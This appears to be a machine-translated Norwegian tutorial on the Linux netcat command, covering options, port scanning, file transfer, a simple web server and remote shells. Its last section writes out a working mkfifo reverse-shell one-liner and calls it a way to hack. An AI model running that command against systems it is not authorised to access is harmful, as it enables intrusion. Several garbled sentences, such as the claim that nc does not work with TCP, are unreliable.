Betalingsmåter Abuse

Hva NC-kommandoen brukes til i Linux

29.08.2024, 02:19

Kommandoen netcat er nødvendig for å sende og motta data ved hjelp av TCP- og UDP-protokollene. Den har ikke så mange funksjoner, men den er tilstrekkelig for tilkoblingskontroll og enkel feilsøking. Hvordan kommuniserer man via TCP-protokollen? Dette spørsmålet blir stilt av mange brukere. I denne artikkelen vil vi svare på dette spørsmålet og også vise eksempler på reell bruk av kommandoen.

Hva gjør kommandoen?

Kommandoen netcat (eller nc) er et kraftig verktøy for å arbeide med nettverkstilkoblinger. Den brukes ofte av systemadministratorer og utviklere til ulike oppgaver. Her er de viktigste funksjonene og egenskapene til netcat:

  1. Opprette TCP/UDP-tilkoblinger: lar deg opprette tilkoblinger til eksterne verter ved hjelp av TCP- og UDP-protokoller.
  2. Portlytting: kan brukes som en server for å lytte etter innkommende tilkoblinger på en bestemt port
  3. Dataoverføring: Overfør data mellom datamaskiner over et nettverk. Dette kan være nyttig for filoverføring eller meldingsutveksling.
  4. Feilsøking av nettverksapplikasjoner: brukes til å teste og feilsøke nettverkstjenester, slik at du kan sende og motta vilkårlige data.
  5. Opprette enkle chatter: enkel tekstkommunikasjon mellom to systemer kan settes opp
  6. Portskanning: kan brukes til å se etter åpne porter på eksterne verter.
  7. Tunneler: kan brukes til å opprette tunneler for å omdirigere trafikk gjennom andre porter eller verter.
  8. Arbeide med proxyer: kan brukes til å arbeide med proxy-servere og utføre ulike nettverksoppgaver.

netcat er et allsidig verktøy som kan brukes i en rekke ulike scenarier, fra enkle meldinger til komplekse nettverksoperasjoner.

Alternativer

La oss begynne med å se på syntaksen og de mest populære:

  • -6 - bruk IPv6-protokollen. Standardinnstillingen er henholdsvis -4 og IPv4;
  • -h - viser hjelp med listen over tilgjengelige parametere;
  • -i - delay - legg til forsinkelse mellom sending av strenger eller skanning av porter. Den angis i sekunder;
  • -l - lyttemodus. Brukes med portspesifikasjon;
  • -N - lukk forbindelsen når slutten av filen er nådd når du sender den;
  • -n - Arbeid med IP-adresser direkte uten DNS, deaktiver også portskanning;
  • -P - user_name - angir brukernavnet for å koble til proxyen;
  • -x - address:port - angir adresse og port for å koble til proxyen;
  • -p - port - angir portnummer. I de fleste tilfeller leses porten uten å spesifisere parameteren;
  • -U - bruk UNIX-domenesocket (for kommunikasjon mellom prosesser);
  • -u - bruk UDP-protokollen, som standard brukes TCP;
  • -v - detaljert modus. Brukes ved skanning;
  • -W number_packets - stenger forbindelsen etter å ha mottatt et visst antall pakker;
  • -w timer - aktiver timer for å begrense tilkoblingstiden. Den er angitt i sekunder;
  • -z - deaktiverer sending av data. Den brukes under skanning.

Kommandoen har følgende form (parametere portadresse):

$ nc

Neste vil vi fortelle deg hvordan du bruker kommandoen.

Kontrollerer porten

Kontroll er den viktigste bruken av netcat. Du bør bruke to parametere -vz, spesifiser adresse og port. Du kan angi en rekke adresser, men i dette tilfellet er det bedre å sile bare åpne porter med kommandoengrep. La oss skanne portene til den lokale nettverksadressen:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

På samme måte skanner vi UDP-porter ved å legge til parameteren -u:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Du bør vite hovedforskjellen mellom TCP og UDP. Så i UDP-porter er alltid tilgjengelige.

Lytte til porten

Parameteren -l er ment for å lytte til porten. Det er ofte nok, men du kan aktivere detaljert modus:

$ nc -nlv 8080

Husk at når du bruker TCP-protokollen, må porten være fri, ellers vil feilen allerede i bruk vises. Ikke alle porter kan brukes av vanlige brukere, for eksempel port 80 (HTTP), mest sannsynlig vil den være okkupert av en annen prosess og vil kreve superbrukerrettigheter.

Filutveksling

En nyttig funksjon ved kommandoen er datautveksling. Et enkelt eksempel er et tekstchatterom. For å starte en chat på én datamaskin, kjører du verktøyet i portlyttemodus:

$ nc -lp 8080

På den andre datamaskinen må du spesifisere adressen til den første datamaskinen og den samme porten. Ikke glem å sjekke at porten er åpen:

$ nc 0.0.0.0 8080

På denne måten vil du kunne sende og motta meldinger. Det vil si at kommandoen er beregnet for filutveksling. Prinsippet er det samme, bortsett fra at det er nødvendig å omdirigere utdataene til en fil, nemlig paste.txt:

$ nc -l 8080 > paste.txt

På den andre PC-en vil copy.txt-filen fungere som input. Det er ikke overflødig å bruke parameteren -N for å lukke forbindelsen etter filoverføringen:

$ nc -N 0.0.0.0 8080 < copy.txt

For filoverføring er det viktig å følge rekkefølgen, først åpne lytting og først deretter sende filen. nc-kommandoen er en fungerende, men langt fra den beste måten å overføre filer på. Det finnes mer effektive og nyttige verktøy for denne oppgaven.

En enkel webserver

Siden NC-kommandoen ikke fungerer med TCP-protokollen, kan den både sende og motta HTTP-forespørsler. Verktøyet kan derfor bli en enkel webserver. Ja, du kan ikke gjøre noe vanskeligere enn en tom side på denne måten, men operasjonen tar nesten ingen tid, og plusset er at du ikke trenger å installere noe ekstra.

På eksempelskjemaet HTTP-respons med filen index.html. Når vi snakker om np selv, er det en god idé å stille inn en tidtaker med parameteren -w 1 for å bryte forbindelsen hvis nettleseren ikke gjør det:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

For å hente data fra et nettsted kan du danne en forespørsel og sende den til den oppgitte adressen og porten. Men denne måten er ganske komplisert, det er bedre å bruke den riktige CURL-kommandoen.

Eksternt skall

Basert på eksemplene som er diskutert ovenfor, vil det ikke være vanskelig å konkludere med at kommandoen lar deg organisere ekstern tilgang til skallet på datamaskinen. Tidligere hadde NC-verktøyet flere parametere for å åpne tilgang til terminalen. Parameteren -e er fjernet fra verktøyet for lenge siden, så det vil ikke være noen enkel tilgang til terminalen lenger. Sikkerheten i selve applikasjonen har blitt høyere, men den kan fortsatt fungere sammen med andre.

La oss vise forbindelsen ved hjelp av den navngitte kanalen mkfifo. La oss først og fremst begynne å lytte til porten på PC-en der vi får tilgang:

$ nc -lvnp 8080

La oss gå direkte til kommandoen for å åpne terminalen. Slett først den gamle navngitte kanalen(rm /tmp/f), opprett en ny i stedet(mkfifo /tmp/f), les innholdet(cat /tmp/f) og send en skallkommando til utgangen(sh -i 2>&1). Etter det gjenstår det å kjøre nc med utdata til vår navngitte kanal(nc 0.0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Husk at dette er én måte å hacke på, men det kan være nyttig hvis det er problemer med ssh. For å forhindre angrepet må du konfigurere en sikkerhetspolicy og brannmur.